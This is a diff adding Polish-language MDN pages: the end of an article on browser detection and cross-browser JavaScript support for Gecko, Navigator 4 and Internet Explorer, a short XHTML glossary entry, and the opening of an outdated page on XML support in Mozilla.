+<h4 id="Korzystanie_z_ogranicze.C5.84_implementacji_CSS_w_Netscape_Navigatorze_4" name="Korzystanie_z_ogranicze.C5.84_implementacji_CSS_w_Netscape_Navigatorze_4"> Korzystanie z ograniczeń implementacji CSS w Netscape Navigatorze 4 </h4>
+<p>Jest możliwe wykorzystanie ograniczeń implementacji CSS w Netscape Navigatorze 4 do automatycznego wykluczenia z interpretacji określonych regułek CSS.
+</p><p>Dla przykładu, Navigator 4 nie rozumie dyrektywy CSS @import i nie wczyta żadnych zewnętrznych arkuszy stylów załączonych za pomocą @import. Za pomocą tej techniki można udostępnić podstawową wersję prostych regułek CSS wszystkim przeglądarkom (łącznie z Navigatorem 4) bardziej zaawansowane regułki zamieszczając w zewnętrznym pliku CSS, z których skorzystają przeglądarki z lepszą implementacją CSS.
+</p>
+<pre>&lt;STYLE type="text/css"&gt;
+/* Regułki CSS dla Navigatora 4 */
+&lt;/STYLE&gt;
+
+&lt;STYLE type="text/css"&gt;
+/* Zaawansowane regułki CSS ignorowane przez Navigatora 4 */
+@import "zaawansowane.css";
+&lt;/STYLE&gt;
+</pre>
+<p>Istnieje podobna technika służąca do ukrywania regułek CSS przed Navigatorem 4 korzystająca z faktu, że Navigator 4 ignoruje dyrektywy CSS występujące po ciągu /*/*/.
+</p>
+<pre>&lt;STYLE type="text/css"&gt;
+/* Regułki CSS dla Navigatora 4 */
+
+/*/*/
+/* Zaawansowane regułki CSS ignorowane przez Navigatora 4 */
+&lt;/STYLE&gt;
+</pre>
+<p>Tej właśnie techniki używa DevEdge do ukrycia zaawansowanej treści przed Navigatorem 4.
+</p>
+<h4 id="U.C5.BCywaj_wykrywania_obiekt.C3.B3w_pod_k.C4.85tem_funkcjonalno.C5.9Bci" name="U.C5.BCywaj_wykrywania_obiekt.C3.B3w_pod_k.C4.85tem_funkcjonalno.C5.9Bci"> Używaj wykrywania obiektów pod kątem funkcjonalności </h4>
+<p>Wykrywanie obiektów jest skuteczną metodą zapewniania wsparcia dla różnych przeglądarek. Chociaż można ją wykorzystać jako kolejną metodę rozróżniania dystrybutora i wersji przeglądarki, to prawdziwą siłę pokazuje dopiero, gdy użyje się jej do wykrycia określonej funkcjonalności, a nie przeglądarki.
+</p><p>Technika wykrywania obiektów pod kątem funkcjonalności polega na sprawdzaniu istnienia określonych obiektów przed próbą ich użycia w skrypcie. Klasycznym przykładem jest:
+</p>
+<pre>if (document.images)
+{
+ // kod, który działa na obrazkach
+}
+</pre>
+<p>Zaletą tej metody jest to, że działa ona niezależnie od producenta i wersji przeglądarki. Możemy teraz przepisać jeden z poprzednich przykładów, który ukazywał problemy w użyciu obiektów do wykrycia producenta i wersji przeglądarki. Tym razem skorzystamy z metody wykrywania obiektów pod kątem funkcjonalności.
+</p>
+<pre>if (document.body &amp;&amp; typeof(document.body.offsetHeight) == 'number')
+{
+ height = document.body.offsetHeight;
+}
+else if (typeof(window.innerHeight) == 'number')
+{
+ height = window.innerHeight;
+}
+else
+{
+ height = 0;
+}
+</pre>
+<p>Zauważ, że w tym przykładzie nie zakładamy niczego o rodzaju użytej przeglądarki. Interesują nas tylko obiekty, których chcemy skorzystać. Jako, że wartości liczbowe mogą przyjmować wartość zero, skrypt testuje zamiast tego typ obiektów, by upewnić się, że rzeczywiście są one liczbami.
+</p>
+<h3 id="Gecko_a_Navigator_4" name="Gecko_a_Navigator_4"> Gecko a Navigator 4 </h3>
+<p>Gecko jest następcą silnika wyświetlania Navigatora 4, przez co dziedziczy wiele funkcji tej przeglądarki. Podstawowe różnice pomiędzy Navigatorem 4 a Gecko mogą być łatwo podsumowane w dwóch punktach:
+</p>
+<ul><li> <b>Gecko jest zgodne ze standardami</b>. Gecko wspiera o wiele więcej standardów niż Navigator 4 i robi to prawidłowo, w przeciwieństwie do Navigatora 4.
+</li><li> <b>Gecko nie posiada warstw</b>. Navigator 4 wprowadził API warstw o nazwie 'layer', które służyło do manipulowania treścią strony, będąc podstawą DHTML-a w Navigatorze 4. Warstwy nie zostały jednak zaakceptowane przez W3C ani w standardzie HTML, ani DOM. Jako, że celem Gecko była jak najdokładniejsza zgodność ze standardami, z warstw trzeba było zrezygnować. Brak tej zgodności wstecznej był źródłem wielu problemów dla webmasterów, ale może być łatwo pokonany poprzez odpowiednie metody wykrywania przeglądarek. Wraz ze zmniejszającym się użyciem Navigatora 4 i coraz powszechniejszym wykorzystaniem standardów przez twórców stron, problem warstw zanika.
+</li></ul>
+<h3 id="Gecko_a_Internet_Explorer" name="Gecko_a_Internet_Explorer"> Gecko a Internet Explorer </h3>
+<p>Gecko implementuje kilka funkcji specyficznych dla Internet Explorera, szczególnie tych dotyczących jego <a class="external" href="http://msdn.microsoft.com/library/">Modelu obiektowego DHTML</a>. Liczba wspieranych funkcji Internet Explorera znacznie zwiększyła się od wydania w listopadzie 2000r. szóstej wersji przeglądarki Netscape. Najlepszym sposobem na korzystanie z tych dodatkowych funkcji Gecko jest używanie metody wykrywania obiektów pod kątem funkcjonalności. Dzięki niej wszelkie dostępne w danej wersji Gecko funkcje zostaną automatycznie użyte. Sprawdź <a href="pl/Dokumentacja_obiekt%c3%b3w_klienta_DOM">Dokumentację obiektów klienta DOM</a> by uzyskać informacje przez jakie wersje Gecko są wspierane jakie obiekty i właściwości Internet Explorera.
+</p><p>Wciąż jednak wiele funkcji Internet Explorera <b>nie jest wspierane przez Gecko</b>. Należą do nich m.in. obiekt <code>window.event</code>, technologie <i>behaviors</i> i <i>transitions</i>, filtry i ActiveX.
+</p>
+<h3 id="Jak_.28i_kiedy.29_u.C5.BCy.C4.87_obiektu_navigator_przy_wykrywaniu_Gecko" name="Jak_.28i_kiedy.29_u.C5.BCy.C4.87_obiektu_navigator_przy_wykrywaniu_Gecko"> Jak (i kiedy) użyć obiektu <i>navigator</i> przy wykrywaniu Gecko </h3>
+<p>Dopóki nie masz konkretnej potrzeby wykrycia silnika Gecko, nie używaj poniższych metod. Korzystanie z nich jest uzasadnione jedynie w przypadkach, gdy nie da się zastosować wykrywania obiektów pod kątem funkcjonalności, np. do rozróżniania ze względów bezpieczeństwa konkretnych wersji Gecko.
+</p><p><b>Uwaga:</b> Do wykrywania po stronie klienta zalecamy użycie obiektu <code>navigator</code> i jego właściwości. Wszystkie informacje zawarte w tym obiekcie są również dostępne w ciągu User-Agent, co otwiera możliwość wykrycia przeglądarki od strony serwera.
+</p>
+<h4 id="product" name="product"> <i>product</i> </h4>
+<p>Obiekt <code>navigator.product</code> jest charakterystyczny dla przeglądarek Gecko i zawsze zwraca wartość 'Gecko'. Wykorzystanie go jest najszybszą i najprostszą metodą rozpoznania przeglądarek opartych na tym silniku.
+</p>
+<h4 id="Znacznik_ga.C5.82.C4.99zi_CVS" name="Znacznik_ga.C5.82.C4.99zi_CVS"> Znacznik gałęzi CVS </h4>
+<p>Od wersji Gecko 0.9.0 (a w Netscape 6.1 od wersji 0.9.2), ciąg <code>navigator.userAgent</code> zawiera znacznik gałęzi CVS źródeł, które zostały użyte do budowy silnika Gecko użytego w przeglądarce. Znacznik gałęzi znaleźć można w komentarzu ciągu User-Agent, zaraz po znakach 'rv:'. W poniższym przykładzie znacznikiem gałęzi jest a.b.c.
+</p>
+<pre class="eval">Mozilla/5.0 (...; rv:a.b.c) Gecko/CCYYMMDD Dystrybutor/wersja
+</pre>
+<p>Przeglądarki Gecko zbudowane ze źródeł z tej samej gałęzi CVS charakteryzują się taką samą obsługą HTML-a, CSS-a, JavaScriptu itp. Na przykład Netscape w wersjach 6.2, 6.2.1, 6.2.2, 6.2.3 i CompuServe 7 zostały zbudowane ze źródeł z gałęzi 0.9.4, co oznacza, że interpretacja stron jest w nich bardzo zbliżona.
+</p> <table> <caption>Gecko Branch Tags</caption> <tbody><tr><th>Browser</th><th>Branch Tag</th></tr> <tr><td>Netscape 6.0</td><td>zawierało M18 zamiast wartości <i>rv</i></td></tr> <tr><td>Netscape 6.1</td><td>0.9.2</td></tr> <tr><td>Netscape 6.2</td><td>0.9.4</td></tr> <tr><td>Netscape 6.2.1</td><td>0.9.4</td></tr> <tr><td>Netscape 6.2.2</td><td>0.9.4.1</td></tr> <tr><td>Netscape 6.2.3</td><td>0.9.4.1</td></tr> <tr><td>CompuServe 7</td><td>0.9.4.2</td></tr> <tr><td>Netscape 7.0</td><td>1.0.1</td></tr> <tr><td>Netscape 7.01</td><td>1.0.2</td></tr> </tbody></table>
+<p>Z powyższej tabeli widać, że wszystkie wersje Netscape'a 6.2 i CompuServe 7 zbudowane zostały z gałęzi 0.9.4. Różnica pomiędzy 0.9.4, 0.9.4.1 i 0.9.4.2 jest znikoma.
+</p><p><b>Uwaga:</b> Znacznik gałęzi CVS jest ciągiem znaków i może zawierać więcej niż pojedyncze cyfry w każdej z części numeru wersji. Można wyobrazić sobie sytuację w której będziemy mieli znaczniki takie jak 2.2.0 i 2.12.36. Jako, że wartości te są ciągami znaków, nie można użyć do określenia nowszej wersji zwykłego porównania ciągów. W naszym przykładzie gałąź 2.2.0 stworzona została wcześniej niż 2.12.36, jednak porównanie tych wartości jako ciągów znaków da w wyniku '2.2.0' &gt; '2.12.36'. Jednym z rozwiązań tego problemu jest użycie funkcji JavaScriptu geckoGetRv(), która konwertuje znacznik gałęzi na ułamek dziesiętny interpretując każdą część wersji jako liczbę z przedziału 0-99.
+</p> <table> <caption>Przykłady użycia geckoGetRv()</caption> <tbody><tr><th>Znacznik gałęzi</th><th>geckoGetRv()</th></tr> <tr><td>0.9.2</td><td>0.0902</td></tr> <tr><td>0.9.4</td><td>0.0904</td></tr> <tr><td>0.9.4.1</td><td>0.090401</td></tr> <tr><td>0.9.4.2</td><td>0.090402</td></tr> <tr><td>1.0.1</td><td>1.0001</td></tr> <tr><td>1.0.2</td><td>1.0002</td></tr> <tr><td>2.2.0</td><td>2.02</td></tr> <tr><td>2.12.36</td><td>2.1236</td></tr> </tbody></table>
+<p>Funckja geckoGetRv() zwraca wartości, które można porównać za pomocą operatorów większości i mniejszości. geckoGetRv() nie jest oficjalną częścią Gecko, ale podany został jako przykład podejścia do rozwiązania problemu porównania znaczników gałęzi obecnych i przyszłych wersji Gecko.
+</p>
+<h4 id="Data_kompilacji" name="Data_kompilacji"> Data kompilacji </h4>
+<p><code>navigator.productSub</code> jest obiektem charakterystycznym dla przeglądarek Gecko. Jego wartość to ciąg znaków określający czas, w którym przeglądarka została skompilowana. Format daty to CCYYMMDD, np. '20020801' dla 1 sierpnia 2002. Jeżeli przejmujesz się określonym błędem bezpieczeństwa i wiesz, że wszystkie przeglądarki Gecko zbudowane po określonym dniu zawierają odpowiednią poprawkę, możesz sprawdzić czy wartość <code>navigator.productSub</code> określa datę późniejszą.
+</p><p>Możesz również dokładnie rozróżnić wersję przeglądarki korzystając jednocześnie ze znacznika gałęzi CVS i daty kompilacji. Na przykład Netscape 6.2.2 i 6.2.3 mają ten sam znacznik gałęzi CVS (0.9.4.1), ale wersja 6.2.2 ma <code>navigator.productSub == '20020314'</code>, podczas gdy wersja 6.2.3 ma <code>navigator.productSub == '20020508'</code>.
+</p>
+<h4 id="dystrybutor.2Fwersja" name="dystrybutor.2Fwersja"> dystrybutor/wersja </h4>
+<p>Wszystkie przeglądarki Gecko posiadają informacje o dystrybutorze i wersji zarówno w obiekcie <code>navigator</code>, jak i ciągu User-Agent. Informacje te nie są jednak tak użyteczne jak znacznik gałęzi CVS i data kompilacji. Nie zalecamy korzystania z nich, chociaż jeżeli chcesz, możesz użyć ich do rozróżnienia różnych typów przeglądarek Gecko. Jak wspomnieliśmy wcześniej, dystrybutor i numer wersji pojawiają się w ciągu User-Agent zaraz po wersji Gecko.
+</p>
+<pre class="eval">Mozilla/5.0 (...; rv:a.b.c) Gecko/CCYYMMDD Dystrybutor/wersja
+</pre>
+<p>Nazwa dystrybutora dostępna jest w obiekcie <code>navigator</code> jako <code>navigator.vendor</code>, podczas gdy wersję można sprawdzić poprzez <code>navigator.vendorSub</code>.
+</p> <table> <caption>Dystrybutorzy i wersje przeglądarek Gecko</caption> <tbody><tr><th>Przeglądarka</th><th>Dystrybutor</th><th>wersja</th></tr> <tr><td>Netscape 6.0</td><td>Netscape6</td><td>6.0</td></tr> <tr><td>Netscape 6.01</td><td>Netscape6</td><td>6.01</td></tr> <tr><td>Netscape 6.1</td><td>Netscape6</td><td>6.1</td></tr> <tr><td>Netscape 6.2</td><td>Netscape6</td><td>6.2</td></tr> <tr><td>Netscape 6.2.1</td><td>Netscape6</td><td>6.2.1</td></tr> <tr><td>Netscape 6.2.2</td><td>Netscape6</td><td>6.2.2</td></tr> <tr><td>Netscape 6.2.3</td><td>Netscape6</td><td>6.2.3</td></tr> <tr><td>CompuServe 7.0</td><td>CS 2000 7.0</td><td>7.0</td></tr> <tr><td>Netscape 7 Preview Release 1</td><td>Netscape</td><td>7.0b1</td></tr> <tr><td>Netscape 7.0</td><td>Netscape</td><td>7.0</td></tr> <tr><td>Netscape 7.01</td><td>Netscape</td><td>7.01</td></tr> </tbody></table>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<p>Wielu ludzi najlepiej uczy się za pomocą przykładów. Poznawanie w jaki sposób inni webmasterzy wykorzystują techniki wykrywania wersji i programowania dla wielu przeglądarek jest <b>najlepszą</b> metodą nauki.
+</p>
+<h4 id="Przyk.C5.82ad_1_-_Wykrywanie_funkcjonalno.C5.9Bci_za_pomoc.C4.85_obiekt.C3.B3w" name="Przyk.C5.82ad_1_-_Wykrywanie_funkcjonalno.C5.9Bci_za_pomoc.C4.85_obiekt.C3.B3w"> Przykład 1 - Wykrywanie funkcjonalności za pomocą obiektów </h4>
+<p>Ten przykład prezentuje wykorzystanie metody <i>wykrywania funkcjonalności</i>. Przeglądarki Gecko 1.0 (w tym Netscape 7) i późniejsze implementują specyficzną dla Internet Explorera właściwość clientWidth. Zmienna ta nie występuje w Netscape 6. W poniższym przykładzie, Netscape 7 i Internet Explorer 5 (i wyższe wersje) automatycznie skorzystają z clientWidth, podczas gdy Netscape Navigator 4, Netscape 6, CompuServe 7 <i>i Opera</i> użyją innerWidth.
+</p><p>Zastanów się ile musiałbyś napisać kodu, by osiągnąć pożądany efekt za pomocą ciągu <i>dystrybutor/wersja</i>.
+</p>
+<pre>if (windowRef.document.body &amp;&amp; typeof(windowRef.document.body.clientWidth) == 'number')
+{
+ // Gecko 1.0 (Netscape 7) and Internet Explorer 5+
+ width = windowRef.document.body.clientWidth;
+}
+else if (typeof(windowRef.innerWidth) == 'number')
+{
+ // Navigator 4.x, Netscape 6.x, CompuServe 7 and Opera
+ width = windowRef.innerWidth;
+}
+</pre>
+<h4 id="Przyk.C5.82ad_2_-_Wykrywanie_funkcjonalno.C5.9Bci_za_pomoc.C4.85_obiekt.C3.B3w" name="Przyk.C5.82ad_2_-_Wykrywanie_funkcjonalno.C5.9Bci_za_pomoc.C4.85_obiekt.C3.B3w"> Przykład 2 - Wykrywanie funkcjonalności za pomocą obiektów </h4>
+<h5 id="Wsparcie_dla_r.C3.B3.C5.BCnych_przegl.C4.85darek" name="Wsparcie_dla_r.C3.B3.C5.BCnych_przegl.C4.85darek"> Wsparcie dla różnych przeglądarek </h5>
+<p>Ten przykład również przedstawia użycie <i>wykrywania funkcjonalności</i>, ale dodatkowo ukazuje problemy jakie wynikają z różnic w implementacji.
+</p>
+<pre>function moveElement(id, x, y)
+{
+ // przesuń element o identyfikatorze id
+ // do punktu x,y (gdzie x,y oznacza
+ // poziomą i pionową pozycję w pikselach)
+
+ var elm = null;
+ if (document.getElementById)
+ {
+ // przeglądarka implementuje część modelu
+ // obiektowego dokumentu W3C dotyczącą HTML-a
+ // Gecko, Internet Explorer 5+, Opera 5+
+ elm = document.getElementById(id);
+ }
+ else if (document.all)
+ {
+ // Internet Explorer 4 lub Opera
+ // z ciągiem User-Agent IE
+ elm = document.all[id];
+ }
+ else if (document.layers)
+ {
+ // Navigator 4
+ elm = document.layers[id];
+ }
+
+ if (!elm)
+ {
+ // przeglądarka nie wspierana lub brak elementu
+ }
+ else if (elm.style)
+ {
+ // przeglądarka implementuje część modelu
+ // obiektowego dokumentu W3C dotyczącą styli
+ // Gecko, Internet Explorer 4+, Opera 5+
+
+ if (typeof(elm.style.left) == 'number')
+ {
+ // Opera 5/6 nie implementuje standardu we właściwy
+ // sposób i zakłada, że obiekty takie jak elm.style.left
+ // są liczbami.
+ elm.style.left = x;
+ elm.style.top = y;
+ }
+ else
+ {
+ // Gecko/Internet Explorer 4+
+ // Model obiektowy dokumentu W3C mówi o tym, że
+ // elm.style.left jest ciągiem znaków zawierającym długość
+ // wraz z jednostką, np. 10px
+ // Gecko zezwala na ominięcie jednostki jedynie w trybie
+ // zgodności wstecznej.
+ // Gecko WYMAGA jednostki podczas przetwarzania dokumentu
+ // w trybie standardów.
+ elm.style.left = x + 'px';
+ elm.style.top = y + 'px';
+ }
+ }
+ else if (typeof(elm.left) == 'number')
+ {
+ // Navigator 4
+ elm.left = x;
+ elm.top = y;
+ }
+}
+</pre>
+<h5 id="Wsparcie_dla_standard.C3.B3w" name="Wsparcie_dla_standard.C3.B3w"> Wsparcie dla standardów </h5>
+<p>Zauważ jak prosta staje się ta funkcja, gdy napiszesz ją zgodnie ze standardem W3C.
+</p>
+<pre>function moveElement(id, x, y)
+{
+ // przesuń element o identyfikatorze id
+ // do punktu x,y (gdzie x,y oznacza
+ // poziomą i pionową pozycję w pikselach)
+
+ var elm = document.getElementById(id);
+
+ if (elm)
+ {
+ elm.style.left = x + 'px';
+ elm.style.top = y + 'px';
+ }
+}
+</pre>
+<p>Musisz zadać sobie pytanie, czy wspieranie niezgodnych ze standardami przeglądarek jest warte kosztów rozwoju i utrzymania.
+</p>
+<h4 id="Przyk.C5.82ad_3_-_Wykrywanie_okre.C5.9Blonych_wersji_Gecko" name="Przyk.C5.82ad_3_-_Wykrywanie_okre.C5.9Blonych_wersji_Gecko"> Przykład 3 - Wykrywanie określonych wersji Gecko </h4>
+<pre>// zwraca znacznik gałęzi przeglądarki Gecko
+// jako liczbę zmiennoprzecinkową.
+// zwraca -1 dla przeglądarek o innym silniku niż Gecko
+// 0 dla wersji wcześniejszych od Netscape 6.1/Gecko 0.9.1
+// liczbę &gt; 0, gdzie każda część znacznika
+// oddzielona kropką będzie traktowana
+// jak setna część ułamka
+// np. dla znacznika 3.12.42,
+// funkcja getGeckoRv() zwróci 3.1242
+//
+function geckoGetRv()
+{
+ if (navigator.product != 'Gecko')
+ {
+ return -1;
+ }
+ var rvValue = 0;
+ var ua = navigator.userAgent.toLowerCase();
+ var rvStart = ua.indexOf('rv:');
+ var rvEnd = ua.indexOf(')', rvStart);
+ var rv = ua.substring(rvStart+3, rvEnd);
+ var rvParts = rv.split('.');
+ var exp = 1;
+
+ for (var i = 0; i &lt; rvParts.length; i++)
+ {
+ var val = parseInt(rvParts[i]);
+ rvValue += val / exp;
+ exp *= 100;
+ }
+
+ return rvValue;
+}
+
+
+// określ czy przeglądarka jest oparta
+// na Gecko w wersji &gt;= 1.0.1 lub
+// Netscape 6.2.x/CompuServe 7 zbudowanym
+// po 1 sierpnia 2002
+
+var rv = geckoGetRv();
+var found = false;
+
+if (rv &gt;= 0)
+{
+ // przeglądarki Gecko
+ if (navigator.productSub &gt; '20020801')
+ {
+ if (rv &gt;= 1.0001)
+ {
+ found = true;
+ }
+ else if (rv &gt;= 0.0904 &amp;&amp; rv &lt; 0.0905)
+ {
+ if (navigator.vendor == 'Netscape6' || navigator.vendor == 'CS 2000 7.0')
+ {
+ found = true;
+ }
+ }
+ }
+}
+</pre>
+<h4 id="Przyk.C5.82ad_4_-_The_International_Herald-Tribune" name="Przyk.C5.82ad_4_-_The_International_Herald-Tribune"> Przykład 4 - <a class="external" href="http://www.iht.com">The International Herald-Tribune</a> </h4>
+<p>Ta <a class="external" href="http://www.iht.com">strona</a> wykorzystuje wiele metod opisanych w tym artykule. Używają oni <i>uboższych wersji stron</i> dla gorszych przeglądarek, jednocześnie korzystając z <i>wykrywania obiektów pod kątem funkcjonalności</i>, by uczynić swoją stronę jak najbardziej interesującą.
+</p>
+<h4 id="Przyk.C5.82ady_z_DevEdge" name="Przyk.C5.82ady_z_DevEdge"> Przykłady z DevEdge </h4>
+<pre class="eval"> * xbDOM
+ * xbMarquee
+ * xbPositionableElement
+ * xbAnimatedElement
+</pre>
+<h3 id="Wnioski" name="Wnioski"> Wnioski </h3>
+<p>Jak widać z lektury niniejszego artykułu, wykrywanie wersji przeglądarki jest dość skomplikowane, głównie z powodu różnic pomiędzy nowoczesnymi przeglądarkami, jak Gecko i Internet Explorer 6, a starszymi lub nie wspierającymi standardów, jak Netscape Navigator 4. Można by rzec: "Gdyby wszystkie przeglądarki były tak dobre jak Gecko i Internet Explorer 6, życie webmastera było by o wiele łatwiejsze!"
+</p><p>Warto przy tej myśli na chwilę się zatrzymać. Niegdyś użytkownicy nie mieli możliwości wyboru przeglądarki wspierającej standardy. Czasy jednak się zmieniły i nie ma żadnych istotnych powodów, dla których warto by zostać przy starej przeglądarce. Jeżeli jednak twórcy stron wciąż będą dbać o zgodność ze starymi technologiami, to użytkownicy nie będą mieli motywacji do zmian. Rezygnując z obsługi starych przeglądarek, zachęca się użytkowników do korzystania z nowszych i doskonalszych rozwiązań. A to oznacza korzyść nie tylko dla nich, ale również dla webmasterów. Wspieranie wyłącznie <b>przeglądarek zgodnych ze standardami</b> może zmniejszyć koszty tworzenia i utrzymywania serwisu, jak i zwiększyć <b>dynamikę i wyjątkowość treści</b>, która przyciąga odwiedzających, a w efekcie zwiększa przychody. Wybór należy do Ciebie... <b>Wybierz standardy już dzisiaj!</b>
+</p>
+<h3 id="Odno.C5.9Bniki" name="Odno.C5.9Bniki"> Odnośniki </h3>
+<ul><li> <a href="pl/Poradnik_zgodno%c5%9bci_z_Gecko">Poradnik zgodności z Gecko</a>
+</li><li> <a class="external" href="http://www.mozilla.org/build/revised-user-agent-strings.html">Ciągi User-Agent Mozilli</a>
+</li><li> <a href="pl/DOM_Client_Object_Cross-Reference/navigator">Dokumentacja obiektów klienta DOM - navigator</a>
+</li><li> <a href="pl/Ci%c4%85gi_User-Agent_Gecko">Ciągi User-Agent Gecko</a>
+</li><li> <a class="external" href="http://tools.ietf.org/html/rfc1945" title="http://tools.ietf.org/html/rfc1945">RFC 1945</a> - Hypertext Transfer Protocol -- HTTP 1.0
+</li><li> <a class="external" href="http://tools.ietf.org/html/rfc2068" title="http://tools.ietf.org/html/rfc2068">RFC 2068</a> - Hypertext Transfer Protocol -- HTTP 1.1
+</li><li> <a class="external" href="http://www.mozilla.org/docs/web-developer/quirks/">Tryb zgodności wstecznej w Mozilli</a>
+</li><li> <a class="external" href="http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dnie60/html/cssenhancements.asp">Ulepszenia CSS w Internet Explorerze 6</a>
+</li><li> <a class="external" href="http://www.w3.org/">W3C</a>
+<ul><li> <a class="external" href="http://www.w3.org/MarkUp/">W3C: Znaczniki</a>
+</li><li> <a class="external" href="http://www.w3.org/TR/">W3C: Zalecenia Techniczne</a>
+<ul><li> <a class="external" href="http://www.w3.org/TR/html401/">W3C HTML 4.01</a>
+</li><li> <a class="external" href="http://www.w3.org/TR/REC-CSS1/">W3C CSS 1</a>
+</li><li> <a class="external" href="http://www.w3.org/TR/REC-CSS2/">W3C CSS 2</a>
+</li><li> <a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/">W3C DOM Core 2</a>
+</li><li> <a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/">W3C DOM HTML 2</a>
+</li><li> <a class="external" href="http://www.w3.org/TR/DOM-Level-2-Style/">W3C DOM Style 2</a>
+</li></ul>
+</li></ul>
+</li></ul>
+<div class="originaldocinfo">
+<h3 id="Informacje_o_oryginale" name="Informacje_o_oryginale"> Informacje o oryginale </h3>
+<ul><li> Autor: Bob Clary
+</li><li> Data ostatniej modyfikacji: 10 Lip 2003
+</li></ul>
+</div>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/Browser_Detection_and_Cross_Browser_Support", "es": "es/Detecci\u00f3n_del_navegador_y_cobertura_a_m\u00faltiples_navegadores" } ) }}
diff --git a/files/pl/xhtml/index.html b/files/pl/xhtml/index.html
new file mode 100644
index 0000000000..f3b65d53ca
--- /dev/null
+++ b/files/pl/xhtml/index.html
@@ -0,0 +1,26 @@
+---
+title: XHTML
+slug: XHTML
+tags:
+ - Wszystkie_kategorie
+ - XHTML
+translation_of: Glossary/XHTML
+---
+<p>
+<b>XHTML</b> ma się do <a href="pl/XML">XML-a</a> tak, jak <a href="pl/HTML">HTML</a> do <a href="pl/SGML">SGML-a</a>. Znaczy to, że XHTML jest językiem znaczników podobnym do HTML-a, ale z bardziej surową składnią. Dwie wersje XHTML-a zostały ukończone przez <a class="external" href="http://www.w3.org/">W3C</a>:
+</p>
+<ul><li> <a class="external" href="http://www.w3.org/TR/xhtml1/">XHTML 1.0</a> to HTML4 zreformulowany jako aplikacja XML i jest wstecznie kompatybilny z HTML-em w ograniczonych przypadkach
+</li><li> <a class="external" href="http://www.w3.org/TR/xhtml11/">XHTML 1.1</a> jest modułową wersją XHTML-a, która nie jest wstecznie kompatybilna z HTML-em.
+</li></ul>
+<p>Trzecia wersja, <a class="external" href="http://www.w3.org/TR/xhtml2/">XHTML 2</a>, ze znaczącymi zmianami w słowniku elementów, jest obecnie w fazie roboczej.
+</p><p>Aby uzyskać więcej informacji o języku XHTML, zobacz:
+</p>
+<ul><li> <a class="external" href="http://pl.wikipedia.org/wiki/XHTML">Artykuł na Wikipedii o XHTML</a>
+</li><li> <a class="external" href="http://www.hixie.ch/advocacy/xhtml">Wysyłanie XHTML-a jako text/html uważane za szkodliwe</a>
+</li></ul>
+<h3 id="Narz.C4.99dzia" name="Narz.C4.99dzia"> Narzędzia </h3>
+<ul><li> <a class="external" href="http://validator.w3.org/">Serwis walidacji znaczników (W3C)</a>
+</li><li> <a href="pl/Narz%c4%99dzia_autorskie_zgodne_ze_standardami">Narzędzia autorskie zgodne ze standardami</a>
+</li></ul>
+<p><span class="alllinks"><a>Zobacz wszystkie...</a></span>
+</p>{{ languages( { "fr": "fr/XHTML", "es": "es/XHTML", "it": "it/XHTML", "ja": "ja/XHTML", "pt": "pt/XHTML", "en": "en/XHTML" } ) }}
diff --git a/files/pl/xml_w_mozilli/index.html b/files/pl/xml_w_mozilli/index.html
new file mode 100644
index 0000000000..7abdd8dd3c
--- /dev/null
+++ b/files/pl/xml_w_mozilli/index.html
@@ -0,0 +1,283 @@
+---
+title: XML w Mozilli
+slug: XML_w_Mozilli
+tags:
+ - Strony_wymagające_dopracowania
+ - Wszystkie_kategorie
+ - XML
+translation_of: Archive/Mozilla/XML_in_Mozilla
+---
+<p>Mozilla posiada dobre wsparcie <a href="/pl/XML" title="pl/XML">XML</a>-a. Wspieranych jest wiele Rekomendacji i szkiców Konsorcjum World Wide Web (<a class="external" href="http://w3c.org/">W3C</a>), jak również innych spokrewnionych technologii.</p>
+
+<div class="note">
+<p>This page is outdated. Please help updating it with current information.</p>
+</div>
+
+<h3 id="Wspierane_Podstawowe_Rekomendacje_W3C_dot._XML" name="Wspierane_Podstawowe_Rekomendacje_W3C_dot._XML">Wspierane Podstawowe Rekomendacje W3C dot. XML</h3>
+
+<p>Podstawowe wsparcie XML-a obejmuje parsowanie dokumentów XML bez walidacji (stosujemy w tym celu parser Expat), wyświetlanie dokumentów XML wraz z arkuszami CSS, manipulowanie dokumentami XML poprzez DOM, kojarzenie arkuszami stylów z dokumentami XML, oraz przestrzenie nazw w XML-u. Podstawowe wsparcie jest bardzo dobre, z kilkoma błędami.</p>
+
+<h4 id="DTD_i_inne_encje_zewn.C4.99trzne" name="DTD_i_inne_encje_zewn.C4.99trzne">DTD i inne encje zewnętrzne</h4>
+
+<p>Mozilla nie wczytuje zewnętrznych encji z sieci Web.</p>
+
+<p>Mozilla może wczytywać encje zewnętrzne których identyfikator systemu stosuje protokół <code>chrome</code>. Funkcjonalność ta jest stosowana głównie podczas <a href="/pl/Kurs_XUL/Lokalizacja" title="pl/Kurs_XUL/Lokalizacja">lokalizacji Mozilli do różnych języków</a> (ciągi znaków dla UI przechowywane są w zewnętrznych plikach DTD). Kolejnym wyjątkiem jest encja której identyfikator systemu jest relatywną ścieżką, a parametr standalone dokumentu nie został ustawiony w deklaracji XML (domyślnie), w takim wypadku Mozilla będzie szukać takiej encji w katalogu <code>&lt;bin&gt;/res/dtd</code>.</p>
+
+<p>Mozilla może również robić wyjątki dla dokumentów XHTML, zobacz poniżej.</p>
+
+<p>Mozilla czyta podzbiory wewnętrzne (DTD), i w specjalnych przypadkach zewnętrzne DTD jak opisane powyżej, i użyje tych informacji w celu rozpoznania typu atrybutów ID, domyślnych wartości atrybutów, i generalnych encji.</p>
+
+<h4 id="Dodatkowe_informacje" name="Dodatkowe_informacje">Dodatkowe informacje</h4>
+
+<p>Duża część Obiektowego modelu dokumentu (<a class="external" href="http://www.w3.org/DOM/">DOM</a>, Rekomendacje i szkice W3C) dotyczy się XML-a. Podobnie, Kaskadowe arkusze stylów (<a class="external" href="http://www.w3.org/Style/CSS/">CSS</a>, Rekomendacje i szkice W3C) mogą zostać zastosowane w celu stylizacji dokumentów XML.</p>
+
+<p>Kod większości podstawowego wsparcia dla XML-a może zostać znaleziony w następujących katalogach serwera CVS Mozilli: {{ Source("content/xml/") }}, {{ Source("parser/expat/") }}oraz {{ Source("parser/htmlparser/") }}.</p>
+
